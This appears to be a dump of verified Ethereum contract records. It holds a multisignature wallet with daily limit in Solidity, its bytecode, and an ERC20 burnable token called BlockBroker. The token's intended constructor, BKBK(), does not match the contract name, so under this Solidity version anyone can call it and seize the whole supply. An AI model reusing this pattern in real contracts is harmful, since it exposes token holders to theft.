/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="770403121116195910121805101237141819041219040e0459191203">[email protected]</span>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
|
{"success": true, "error": null, "results": {}}
| 7,902 |
0x7a3f78e0470d11ab4e104ef71ea65ff17f828e9a
|
pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred , this is platform functionality
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract BlockBroker is BurnableToken, Ownable {
string public constant name = "BKBK";
string public constant symbol = "BKBK";
uint public constant decimals = 8;
uint256 public constant initialSupply = 750000000 * (10 ** uint256(decimals));
// Constructor
function BKBK() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
|
